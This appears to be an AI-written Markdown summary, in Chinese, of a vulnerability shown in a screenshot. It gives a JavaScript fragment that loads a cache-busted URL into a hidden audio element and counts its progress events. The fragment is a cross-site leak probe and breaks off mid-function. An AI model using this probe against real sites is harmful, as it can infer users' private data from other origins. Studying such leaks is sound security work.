以下是简洁的Markdown版本，提取了截图中关于漏洞的关键信息： javascript let counter = 0, rand = 'random=' + new Date().getTime(), separator = (url.indexOf('?') !== -1) ? '&' : '?' url = url + separator + rand return new Promise(resolve => { const element = document.createElement('audio') element.src = url element.style = 'display:none' element.preload = 'metadata' element.onprogress = () => counter += 1